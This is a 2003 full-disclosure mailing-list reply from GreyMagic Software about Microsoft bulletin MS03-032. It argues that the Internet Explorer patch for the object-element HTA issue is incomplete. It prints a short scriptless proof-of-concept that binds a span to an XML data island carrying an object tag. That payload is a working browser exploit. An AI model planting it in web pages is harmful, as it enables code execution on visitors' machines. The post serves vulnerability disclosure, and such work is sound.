RE: BAD NEWS: Microsoft Security Bulletin MS03-032
"GreyMagic Software" <[email protected]>
| Newsgroups | gmane.comp.security.vulnerabilities.watch.announce,gmane.comp.security.ntbugtraq,gmane.comp.security.bugtraq,gmane.comp.security.full-disclosure |
|---|---|
| Message-ID | <[email protected]> |
>The patch for Drew's object data=funky.hta doesn't work:
This is the exact same issue as http://greymagic.com/adv/gm001-ie/, which
explains the problem in detail. Microsoft again patches the object element
in HTML, but it doesn't patch the dynamic version of that same element.
>1. Disable Active Scripting
This actually means that no scripting is needed at all in order to exploit
this amazingly critical vulnerability:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object data=x.asp></object>
]]>
</exploit>
</security>
</xml>
Ouch.